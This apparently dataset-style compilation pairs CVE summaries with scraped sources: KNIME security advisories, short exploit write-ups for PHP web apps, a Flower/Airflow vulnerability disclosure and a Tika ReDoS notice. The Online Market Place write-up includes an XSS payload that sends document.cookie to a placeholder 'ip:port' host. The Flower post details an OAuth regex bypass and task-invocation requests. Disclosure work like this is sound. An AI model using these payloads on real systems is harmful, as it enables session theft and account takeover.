Couchbase Server before 7.1.0 has Incorrect Access Control.

CVE-2021-33504: Alerts | Couchbase

In KNIME Analytics Platform below 4.6.0, the Windows installer sets improper filesystem permissions.

This page summarizes all security advisories for KNIME Software products and services, including KNIME Analytics Platform, KNIME Server, and KNIME Hub.

Please note that the CVSS Score is an indication of the potential _severity_ of the issue but not the _risk_. The actual risk needs to be assessed by every user individually because there may be circumstances where a high severity issue is not applicable and therefore does not pose a risk (and vice-versa).

If you want to know more about the CVSS Score, have a look at the resources provided by the Common Vulnerability Scoring System SIG.

**CVE-2022-31500 - Windows installer for KNIME Analytics Platform allows for privilege escalation**

*   Published: 2022-05-24
*   Affected Product: KNIME Analytics Platform before 4.6.0
*   Base CVSS Score: 8.2
*   Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H/E:F/RL:T/RC:X/CR:L/IR:L/AR:L/MAV:L/MAC:L/MPR:N/MUI:R/MS:C/MC:H/MI:H/MA:H

The installer for KNIME Analytics Platform on Windows before 4.6.0 makes the installation directory writeable to everyone on the system. This is useful so that the user can update or install extensions from a running KNIME Analytics Platform without having to restart the application as administrator. However, this also allows other authenticated local users on the system to (re)place malicious files in the installation e.g. replacing the uninstall program. The latter is run with administration privileges if the application is being uninstalled (by a user with administrative privileges). Starting with KNIME Analytics Platform 4.6.0 the installer will restrict write access to the installation directory to admin users. This also means that in order to update or install additional extensions, KNIME Analytics Platform must first be started with admin privileges.

Note that the KNIME Server installer for Windows, which can create a KNIME Analytics Platform installation used as an executor, is **not** affected.

**Workaround**

Existing installations can be "fixed" by restricting the permissions of the installation folder manually. If you use the self-extracting archive or the ZIP file the default permissions on Windows apply, which usually means that only the extracting user has write permissions on the installation directory. In this case update or installation of extensions is possible without starting KNIME Analytics Platform as admin user.

The vulnerability was found and reported by Łukasz Rupala & Przemysław Mazurek.

**CVE-2021-45096 - External XML Entity Injection with specially crafted workflow files**

*   Published: 2021-12-16
*   Affected Product: KNIME Analytics Platform before 4.5.0
*   Base CVSS Score: 4.3
*   Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

KNIME Analytics Platform before 4.5.0 with resolve external entities in workflow.knime files when loading a workflow. Using a specially crafted workflow file, potentially sensitive information such as Windows network password hashes maybe leaked _to_ a remote system. It can not be used to leak information _from_ a remote system e.g. when a workflow is loaded on KNIME Server.

The vulnerability was found and reported by Dawid Czarnecki from NATO.

****CVE-2021-45097 -** Server installer does not restrict permission on auto-install.xml**

*   Published: 2021-12-16
*   Affected Product: KNIME Server before 4.12.6 and 4.13.x before 4.13.4
*   Base CVSS Score: 2.9
*   Vector: CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

KNIME Server before 4.12.6 and 4.13.x before 4.13.4 (when installed in unattended mode) keeps the administrator's password in a file without appropriate file access controls, allowing all local users to read its content.

The vulnerability was found and reported by Dawid Czarnecki from NATO.

**CVE-2021-44725 - Directory path traversal when requesting client profiles**

*   Published: 2021-12-07
*   Affected Product: KNIME Server between 4.7.0 and below 4.11.6, 4.12.5, 4.13.4, respectively
*   Base CVSS Score: 7.5
*   Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

The server managed customizations functionality of KNIME Server starting at version 4.7.0 is vulnerable to Directory Path Traversal attacks. By manipulating variables that reference files by prepending “dot-dot-slash (../)” sequences and their variations or by using absolute file paths, it is possible to access arbitrary files and directories stored on the file system including application source code, configuration, and database. Due to the file-based architecture of KNIME Server, this vulnerability allows stealing users' data  
such as password hashes, workflows, licenses, jobs, and so on. No authentication is required to exploit this vulnerability.

The issue is fixed in KNIME Server 4.13.4, 4.12.5, and 4.11.6 which have been released today. All customers are advised to update their server's immediately.

**Workaround**

If you cannot update right away you can apply the following workaround which prevents access to client profiles for any user:

1.  Locate _<apache-tomcat>/webapps/knime/WEB-INF/web.xml_
2.  Edit the file and add the following block before the existing line <deny-uncovered-http-methods /> at the bottom of the file:
    
       ...
       <security-constraint>
          <web-resource-collection>
             <web-resource-name>Profiles
             <url-pattern>/rest/v4/profiles/contents
          </web-resource-collection>
          <auth-constraint />
       </security-constraint>
    
       <deny-uncovered-http-methods />
    </web-app>
    
3.  Restart KNIME Server.

The vulnerability was found and reported by Dawid Czarnecki from NATO.

**CVE-2021-44726 - Cross-Site-Scripting vulnerability in old WebPortal login**

*   Published: 2021-12-07
*   Affected Product: KNIME Server below 4.13.4
*   Base CVSS Score: 8.8
*   Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L

The old KNIME WebPortal login page up to version 4.13.3 contains a DOM-based XSS vulnerability that once exploited, can be used to run any action as a victim user via malicious JavaScript. If the victim user is an administrator, it could be used to create a new administrator. To exploit the vulnerability it is required to create a specially crafted URL and convince the victim to open it. No authentication is required to exploit the vulnerability, however, authenticated users can be targeted.

The vulnerability was found and reported by Dawid Czarnecki from NATO

CVE-2022-31500: Security Advisories | KNIME

An insecure direct object reference (IDOR) in Online Market Place Site v1.0 allows attackers to modify products that are owned by other sellers.

**Exploit Title: Online Market Place Site v1.0 - Insecure Direct Object Reference(IDOR)****Exploit Author: NS Kumar (n1\_x)****Date: April 17, 2022****Vendor Homepage: https://www.sourcecodester.com/php/15273/online-market-place-site-phpoop-free-source-code.html****Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/omps.zip****Tested on: Parrot Linux, Apache, Mysql****Vendor: oretnom23****Version: v1.0****Exploit Description:****Online Market Place v1.0 suffers from IDOR - Broken Access Control Vulnerability allowing attackers to modify the product that owned by other sellers(vertical privilege escalation).**

\---------------------------------------- To Exploit ---------------------------------------------------------

Step 1: Register and login as a seller.

Step 2: Goto product page click action and select edit product, you can see url like http://localhost/omps/seller/?page=products/view\_details&id=4

Step 3: The id parameter is the vulnerable to insecure direct object reference(idor).

step 4: change the product id that not listed in your product page.

step 5: Now You can edit the product of other sellers.

CVE-2022-29627: OpenSource/exploit_idor.md at main · nsparker1337/OpenSource

A cross-site scripting (XSS) vulnerability in /omps/seller of Online Market Place Site v1.0 allows attackers to execute arbitrary web cripts or HTML via a crafted payload injected into the Page parameter.

**Exploit Title: Online Market Place Site v1.0 - XSS and CSRF****Date: April 17, 2022****Vendor Homepage: https://www.sourcecodester.com/php/15273/online-market-place-site-phpoop-free-source-code.html****Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/omps.zip****Tested on: Parrot Linux, Apache, Mysql****Vendor: oretnom23****Version: v1.0****Exploit Description:****Online Market Place v1.0 suffers from Cross Site Scripting and Cross Site Request Forgery Vulnerability that allowing attackers to steal the cookies of other users(possible account takeover).**

\---------------------------------------- To Exploit ---------------------------------------------------------

Step 1: Register and login as a seller.

Step 2: Goto product page click action and select view product, you can see url like http://localhost/omps/seller/?page=products/view\_details&id=4

Step 3: The page parameter is the vulnerable to cross site scripting because it's not sanitizing the user input.

step 4: put the payload  and you will see the pop window that reflects 1337.

step 5: Now attacker can send malicious url to other user then perfom csrf and finally takeover their account.

For stealing the cookies : <img src='x' onerror=this.src=http://ip:port/?'+document.cookie;>

Final Payload : http://localhost/omps/seller/?page=<img src='x' onerror=this.src=http://ip:port/?'+document.cookie;>&id=4

CVE-2022-29628: OpenSource/exploit_rxss.md at main · nsparker1337/OpenSource

Responsive Online Blog v1.0 was discovered to contain a SQL injection vulnerability via the id parameter at single.php.

Submitted by donbermoy on Thursday, February 4, 2021 - 10:41.

This is a **Responsive Online Blogging Site** using **PHP/MySQL** that I did in my previous years as a project to my client for his Thesis/Capstone Project. I may say that this is a responsive web application because it has a lot of features such as calculating the views coming from the guests, embedded a map, and many more features.

The online site has an admin panel where published blogs, categories, drafts, web details, links, editor's choice, and the admin stats. The admin can also post his desired blog of the day and well as managing it also.

Just like other **Blogging sites**, this project offers users to read blogs of various categories. From the admin panel, he/she can add categories, manage posts and delete categories. The layout is pretty similar to WordPress blogging theme. Here, the site administrator can add a number of posts according to the categories they want and the blogs can also be viewed by selecting a certain category. The design of this project is simple and the user won’t find it difficult to understand, use and navigate.

****Features****

**Admin**

*   **Manage Blog Categories**
*   **Manage Blogs**
*   **Manage Website Details**
*   **Manage Editors Choice Contents**
*   **Admin Statistic Report**

**Website**

*   **Mobile Responsive Design**
*   **Home Page**
*   **Blog List**
*   **Display Website Information**
*   **Author Registration**
*   **View Blog Content**

****How to Run****

Just follow all the instructions to run it smoothly.

**Requirements:**

*   **Download** and **Install** any **local web server** such as **XAMPP/WAMP.**
*   **Download** and **Extract** the provided source code **zip** file. (download button is located below)

**Installation**

*   **Open** your **XAMPP/WAMP's Control Panel** and start the **"Apache"** and **"MySQL"**.
*   If you using **XAMPP**, **copy** the extracted folder and **paste** it into the xampp's **"htdocs" directory** (C:\\xampp\\htdocs). And if you are using **WAMP**, **paste** it inside the **"www" directory**.
*   **Locate** the **SQL file** from the source code folder. The file is known as **"blog\_admin\_db.sql"** and located inside the **"databasefile" directory.**
*   **Open** a web browser and browse the **PHPMyAdmin**. (http://localhost/phpmyadmin)
*   **Create** a new **database** naming **"blog\_admin\_db"**.
*   **Import** the **SQL** file in your **newly created database**.
*   Open a web browser and browse the web application. **(http://localhost/resblog)**

**You can access this system using the following accounts**

*   Username: **admin**
*   Password: **admin**

**Installation DEMO**

That's it you can now test the Blog Site project. I hope this will help you with what you are looking for.

**Enjoy Coding :)**

**Engr. Lyndon R. Bermoy**  
IT Instructor/System Developer/Android Developer  
Mobile: 09079373999  
Telephone: 826-9296  
E-mail:\[email protected\]

Visit and like my page on Facebook at Bermz ISware Solutions

Subscribe to my YouTube Channel at SerBermz

Visit my website at CampCodes

*   28655 views

CVE-2022-29659: Responsive Online Blog Website using PHP/MySQL with Source Code

In Afian Filerun 20220202 Changing the "search_tika_path" variable to a custom (and previously uploaded) jar file results in remote code execution in the context of the webserver user.

CVE-2022-30470: FileRun - Selfhosted File Manager with Sharing and Backup for Photos, Docs & More

Flower, a web UI for the Celery Python RPC framework, all versions as of 05-02-2022 is vulnerable to an OAuth authentication bypass. An attacker could then access the Flower API to discover and invoke arbitrary Celery RPC calls or deny service by shutting down Celery task nodes.

This post discloses two vulnerabilities in Flower, a popular open-source web application deployed along with Celery (a task queue for Python):

*   Lack of CSRF or SSRF protections in Flower, allowing remote API invocations on internally-hosted instances
*   An OAuth authentication bypass allowing anyone to login and access all Flower functionality

These issues are tracked under CVE-2022-30034.

I created a PR which fixes the OAuth bypass and disables the API unless authentication is configured. The maintainer did not respond to attempts at contact so it is unclear if this will be merged: https://github.com/mher/flower/pull/1216.

The vulnerabilities themselves are moderately interesting, but a more interesting question to ask is “what could an attacker _do_ with Flower?”:

*   Invoke arbitrary tasks registered with Celery (basically, RPC; but the tasks would be highly dependent on application context)
*   Apache Airflow is probably the most popular software which uses Celery, and registers a Celery task in a default configuration. Through Flower, an attacker could invoke airflow tasks run with arbitrary parameters, which could (dependent on configuration or other vulnerabilities) be used to achieve RCE

**Background**

Flower is a web app which allows monitoring and managing Celery, which is a task queue for Python.

*   Flower has more than 5000 stars on Github and is included in the default deployments of other extremely popular software such as Apache Airflow.
*   Flower is (or was) included but not enabled by default in some managed Airflow deployments such as Google Cloud Composer.
*   Shodan shows more than 2000 publicly-exposed instances, although most instances appear to require authentication with basic authentication, and thus would not be vulnerable.
*   There are likely many more instances which are only accessible on internal/corporate networks.

**Lack of CSRF and SSRF Protections**

Flower lacks CSRF protection, meaning that if a user with access to a Flower instance visits a malicious website, that site could run JavaScript which calls Flower’s APIs. This would primarily be used to exploit other vulnerabilities, such as through the arbitrary task invocation issue. The lack of CSRF protections apply to all web routes, APIs, and the api/task/events websocket endpoint. In particular, websocket connections can be used to solidly confirm the presence of the vulnerable listener on internal networks and also leak some minor information.

Lack of authentication by default also means that SSRF attacks would be straightforward on any instance not configured for authentication.

Flower also has a strange (i.e. broken) CORS policy, but it doesn’t appear to lead to any additional impact. _Note:_ a recent PR opened the CORS headers up with a wildcard, which would increase the exploitability of CSRF.

Overall, I think the likelihood of CSRF exploitation through Flower is relatively low, so my PR didn’t attempt to add CSRF protections, because doing so would likely require breaking all existing Flower API clients (e.g. requiring a custom HTTP header). Rather, the PR disables the API if authentication is disabled.

**OAuth Bypass Vulnerability**

Flower supports OAuth login via Google, Github, Okta, and Gitlab. When configuring OAuth according to the documentation, Flower requires the user to provide a regular expression which is checked against the user email that Flower receives after the user logs in:

    flower --auth_provider=flower.views.auth.GitLabLoginHandler --auth=.*@example.com
    

The above command line is intended to configure Flower to use Gitlab OAuth and only allow users whose emails are registered with example.com. However, the regular expression check _lacks regex anchors_, thus allowing anyone to authenticate as long as they can sign up to the OAuth identity provider with a user-controlled email.

Example scenarios:

*   For .*@example.com, a valid user might be alice@example.com, but attacker@example.com.attacker.com can also login.
*   Specifying me@gmail.com would only be intended to allow one user to login, but me@gmail.com.attacker.com also works.
*   Because the regular expression is provided on the command line, the period may not be correctly escaped. For a literal period provided in a shell command, a double backslash is generally needed to get a literal backslash in the argument. The documentation examples use either zero or one backslashes. As a result, .*@corp.example.com or .*@corp\.example\.com could be bypassed with attacker@corpZexample.com even if anchors were applied.

**Reproduction**

I demonstrated the vulnerability in a local deployment of Flower with the following configuration:

1.  Create a public Gitlab user user1@tannerprynn.com (the intended user of the application)
    *   Configure an application under this user to login to Flower
2.  Create a second public Gitlab user user1@tannerprynn.com.pry.nz
3.  Flower configuration:
    *   Command-line options --auth_provider=flower.views.auth.GitLabLoginHandler --auth=.*@tannerprynn.com
    *   Environment variables FLOWER_OAUTH2_KEY, FLOWER_OAUTH2_SECRET, FLOWER_OAUTH2_REDIRECT_URI

**Recommendations for Flower**

1.  Disable the API unless authentication is configured for Flower
2.  Implement CSRF protections (primarily relevant to the API); the most straightforward would be to require a custom non-CORS-exempt header for all API requests
3.  Fixing the OAuth bypass will likely require either a breaking change for users, or using custom logic to match the user-provided string without interpreting a single period as a wildcard character

**Post-Exploitation**

With the ability to send requests to Flower, an attacker would primarily use its APIs - in particular, POST /api/task/apply/{taskname} which allows invoking any Celery task. Assuming the attacker is not operating through blind CSRF, they can use GET /api/task/types and other APIs to list which tasks can be called and the parameters, and attempt to exploit those specific tasks. Given the expectation that these calls would only come from internal, trusted systems, it is likely that any custom-developed tasks have vulnerabilities or cause some dangerous actions. However, those vulns would be highly application/context-specific.

I was interested in one specific deployment of Flower, which is with Airflow, a very popular open-source app. Flower is deployed without authentication in the default Airflow configuration (when deployed with the recommended docker-compose configuration and Helm chart). Airflow registers a single task airflow.executors.celery_executor.execute_command which allows invoking an Airflow task via the equivalent of a command-line invocation of airflow tasks run.

    POST /api/task/apply/airflow.executors.celery_executor.execute_command HTTP/1.1
    Host: flower:5555
    Content-Type: text/plain
    Content-Length: 84
    
    {"args":[["airflow", "tasks", "run", "example_bash_operator", "runme_1", "1234"]]}
    

Initially, I was relatively confident that this would lead directly to RCE, but it doesn’t appear straightforward:

*   Although the arguments appear to specify a command-line invocation, they don’t actually pass through a shell at any point. Celery passes these arguments through a message queue (e.g. Redis) and they invoke the execute_command Python method after being picked up by an Airflow worker, which then parses the arguments using its own command-line parser.
*   The first three arguments ("airflow", "tasks", "run") are validated and cannot be changed to invoke other airflow CLI commands.
*   The last argument is execution_date_or_run_id which is used unsafely in Airflow’s example_bash_operator, but this argument appears to be validated.

That’s not to say that this is safe. An attacker can still specify arbitrary arguments after airflow tasks run, which would include parameters such as --cfg-path and --subdir. If combined with the ability to write a file somewhere on the filesystem, either of these configuration options allows picking up and running arbitrary python code. Without that ability, the impact would be limited to calling the DAGs/tasks that are already set up on the system.

**Recommendations for Airflow**

1.  If possible, strip all parameters from the arguments provided to this invocation path so that an attacker does not have the ability to change the configuration in a way which might allow unexpected code execution
2.  Although run_id seems to be validated, preventing injection in example_bash_operator, that doesn’t seem to be a documented expectation in general, so you should handle it safely in your example code
3.  If Flower isn’t a necessary component of Airflow, consider removing it from the default docker-compose/Helm setup
4.  Alternatively, set up docker-compose and Helm to use basic auth with randomly-generated passwords for Flower (even a weak static password would actually help limit CSRF/SSRF attacks)

From discussions with the Airflow maintainer, Flower is seen as a development-only tool that should not be used in any production deployment. However, given that Flower itself does not appear to be actively maintained, the Airflow maintainer decided that they would disable Flower by default in their docker-compose and Helm chart (starting in version 2.3.1).

**Disclosure Timeline**

*   05 April 2022: Initial contacts to Apache Security team
*   06 April 2022: Partial disclosure to Airflow maintainer of impact and recommendations for Airflow
*   06 April 2022: Initial attempt to contact the Flower maintainer (mher)
*   06-21 April 2022: Follow up emails to the Airflow maintainer
*   12-25 April 2022: Discussion with Airflow maintainer
*   23-26 April 2022: Attempts to reach a maintainer for Flower via the associated Celery project’s team members, but no team member was able to give me a working contact
*   26 April 2022: Opened an issue on the public Flower repo asking for a security contact
*   03 May 2022: Followed up on the public issue to state that disclosure would occur in 14 days (17 May) due to lack of response
*   16 May 2022: Airflow maintainer requested a short delay to allow a new release of Airflow which disables Flower by default
*   25 May 2022: Airflow updated to 2.3.1
*   26 May 2022: Public disclosure

CVE-2022-30034: Multiple Vulnerabilities in Flower and Downstream Attacks on Airflow

School Dormitory Management System v1.0 is vulnerable to reflected cross-site scripting (XSS) via admin/inc/navigation.php:125

Submitted by oretnom23 on Saturday, May 7, 2022 - 16:08.

****Introduction****

This project is entitled **School Dormitory Management System**. This is a web-based application project developed in **PHP** and **MySQL Database**. This project provides an online and automated platform for **Universities or Colleges' Dormitory** to manage their monthly collections and records. The system consist consists of multiple features that include the student dorm accounts. The application was developed with **Bootstrap Framework** and **AdminLTE Template**. It consists of user-friendly features and functionalities.

****About the School Dormitory Management System****

I developed this project using the following:

*   **XAMPP v3.3.0**
*   **PHP**
*   **MySQL Database**
*   **HTML**
*   **CSS**
*   **JavaScript**
*   **Ajax**
*   **jQuery**
*   **Bootstrap**
*   **Font Awesome**
*   **AdminLTE**

This **School Dormitory Management System** can be only accessed by the management. The system features and functionalities can be accessed only by the registered system users. The system users have 2 types of roles which are the **Administrator** and **Staff**. Both Users must log in with their system credentials to gain access to the features and functionalities of the application. The **Administrator Users** have the privilege to access and manage all the features and functionalities of the system while **Staff Users** have only limited permissions.

This Dormitory Management System allows the management to manage the list of dormitory buildings, rooms in each dorm, and student accounts. The management must populate first the list of dorms, rooms, and students when using the system for the first time. Users create an account for a student and assign them to a room with an available slot. The student that has an active account will be automatically removed from the student options when creating an account. Also, the room option in the account registry only lists the rooms that have available slots.

The system was developed with user-friendly features and functionalities with CRUD (Create, Read, Update, and Delete) Operations. It can help the school management to efficiently and effectively manage the dorms' collections and account records.

****Features****

*   **Home Page**
    *   Display the summary.
*   **Dorm Management**
    *   Add New Dorm
    *   List All Courts
    *   View Dorm Details
    *   Update Dorm Details
    *   Delete Dorm
*   **Room Management**
    *   Add New Room
    *   List All Rooms
    *   View Room Details
    *   Update Room Details
    *   Delete Room
*   **Student Management**
    *   Add New Student
    *   List All Students
    *   View Student Details
    *   Update Student Details
    *   Delete Student
*   **Account Management**
    *   Add New Account
    *   List All Accounts
    *   View Account Details
    *   Update Account Details
    *   Add Payment
    *   List Payment History
    *   Edit Payment Details
    *   Delete Payment Details
    *   Delete Account
*   **Report**
    *   Generate Printable Monthly Collection Report
*   **User Management**
    *   Add New User
    *   List All Users
    *   View User Details
    *   Edit User Details
    *   Delete User Details
*   **Update System Information**
*   **Update Account Details/Credentials**
*   **Login and Logout**

The source code was developed only for educational purposes only. You can download the source code for free and modify it the way you wanted.

**System Snapshots of some Features******Dashboard****

****Dorm List****

****Room List****

****Student Details Page****

****Account Details Page****

****Payment History Modal****

****Monthly Collection Report****

**How to Run ??**

****Requirements****

*   **Download** and **Install** any **local web server** such as **XAMPP.**
*   **Download** the provided source code **zip** file. (_download button is located below_)

****System Installation/Setup****

1.  **Enable** the **GD Library** in your **php.ini** file.
2.  **Open** your **XAMPP Control Panel** and start ****Apache**** and ****MySQL****.
3.  **Extract** the **downloaded source code **zip** file**.
4.  **Copy** the extracted source code folder and **paste** it into the **XAMPP's "htdocs" directory**.
5.  **Browse** the ****PHPMyAdmin**** in a **browser**. i.e. ****http://localhost/phpmyadmin****
6.  **Create** a **new database** naming ****dms\_db****.
7.  **Import** the provided ****SQL**** file. The file is known as ****dms\_db.sql**** located inside the **database** folder.
8.  **Browse** the **School Dormitory Management System** in a **browser**. i.e. ****http://localhost/dms/****.

****Admin Default Access:****

Username: **admin**  
Password: **admin123**

****DEMO VIDEO****

That's it. You can now explore the features and functionalities of this **School Dormitory Management System** in **PHP**. I hope this will help you with what you are looking for and you'll find something useful for your future projects.

Explore more on this website for more **Free Source Codes** and **Tutorials**.

**Enjoy :)**

*   2369 views

CVE-2022-30513: School Dormitory Management System in PHP/OOP Free Source Code

Product Show Room Site version 1.0 suffers from multiple persistent cross site scripting vulnerabilities.

    # Product Show Room Site - 'Telephone' Stored Cross-Site Scripting(XSS)   #### Exploit Title: Product Show Room Site - 'Telephone' Stored Cross-Site Scripting(XSS)#### Exploit Author: webraybtl@webray.com.cn inc#### Vendor Homepage: https://www.sourcecodester.com/php/15370/product-show-room-site-phpoop-free-source-code.html#### Software Link: https://www.sourcecodester.com/download-code?nid=15370&title=Product+Show+Room+Site+in+PHP%2FOOP+Free+Source+Code#### Version: Product Show Room Site 1.0#### Tested on: Windows Server 2008 R2 Enterprise, Apache ,Mysql#### DescriptionPersistent XSS (or Stored XSS) attack is one of the three major categories of XSS attacks, the others being Non-Persistent (or Reflected) XSS and DOM-based XSS. In general, XSS attacks are based on the victim’s trust in a legitimate, but vulnerable, website or web application.Product Show Room Site does not filter the content correctly at the "Contact info-Telephone" module, resulting in the generation of stored XSS.#### Payload used:`<script>alert(111)</script>`#### Proof of Concept1. Login the CMS. Default Admin AccessUsername: adminPassword: admin1231. Open Page http://172.24.5.107/psrs/admin/?page=system_info/contact_info and click View button2. Put XSS payload  (`<script>alert(111)</script>`) in the Telephone box and click on Update to publish the page   ![image](https://user-images.githubusercontent.com/60683449/171591851-2068eea2-b789-464f-8afb-9f6b6f8eaedd.png)    3. Open http://172.24.5.107/psrs/?p=contact,Viewing the successfully published page,We can see the alert.   ![image](https://user-images.githubusercontent.com/60683449/171591881-2962a429-f2de-4979-8e27-6fdd8f62c61c.png)-------# Product Show Room Site - 'Message' Stored Cross-Site Scripting(XSS)   #### Exploit Title: Product Show Room Site - 'Message' Stored Cross-Site Scripting(XSS)#### Exploit Author: webraybtl@webray.com.cn inc#### Vendor Homepage: https://www.sourcecodester.com/php/15370/product-show-room-site-phpoop-free-source-code.html#### Software Link: https://www.sourcecodester.com/download-code?nid=15370&title=Product+Show+Room+Site+in+PHP%2FOOP+Free+Source+Code#### Version: Product Show Room Site 1.0#### Tested on: Windows Server 2008 R2 Enterprise, Apache ,Mysql#### DescriptionPersistent XSS (or Stored XSS) attack is one of the three major categories of XSS attacks, the others being Non-Persistent (or Reflected) XSS and DOM-based XSS. In general, XSS attacks are based on the victim’s trust in a legitimate, but vulnerable, website or web application.Product Show Room Site does not filter the content correctly at the "Contact info-Telephone" module, resulting in the generation of stored XSS.#### Payload used:`<script>alert(111)</script>`#### Proof of Concept1. Login the CMS. Default Admin AccessUsername: adminPassword: admin1231. Open Page http://172.24.5.107/psrs/?p=contact 2. Put XSS payload  (`<script>alert(111)</script>`) in the Message box and click on Send Message to publish the page  ![image](https://user-images.githubusercontent.com/60683449/171591580-cc3ca01c-9e37-4e05-9351-4b9d7c7749df.png)  ![image](https://user-images.githubusercontent.com/60683449/171591599-be5e8d7f-1d95-43ad-875a-9884f7052fa6.png)   4. Open http://172.24.5.107/psrs/admin/?page=inquiries,Viewing the Top 1 of Inquiries  page,We can see the alert.  ![image](https://user-images.githubusercontent.com/60683449/171591660-c12ce9ac-aab1-45e9-b99f-7514dd28f698.png)

Product Show Room Site 1.0 Cross Site Scripting

We failed to apply the fix for CVE-2022-30126 to the 1.x branch in the 1.28.2 release.  In Apache Tika, a regular expression in the StandardsText class, used by the StandardsExtractingContentHandler could lead to a denial of service caused by backtracking on a specially crafted file. This only affects users who are running the StandardsExtractingContentHandler, which is a non-standard handler.  This is fixed in 1.28.3.

**Regular expression denial of service in apache tika**

Moderate severity GitHub Reviewed Published Jun 1, 2022 • Updated Jun 3, 2022

Tag

#apache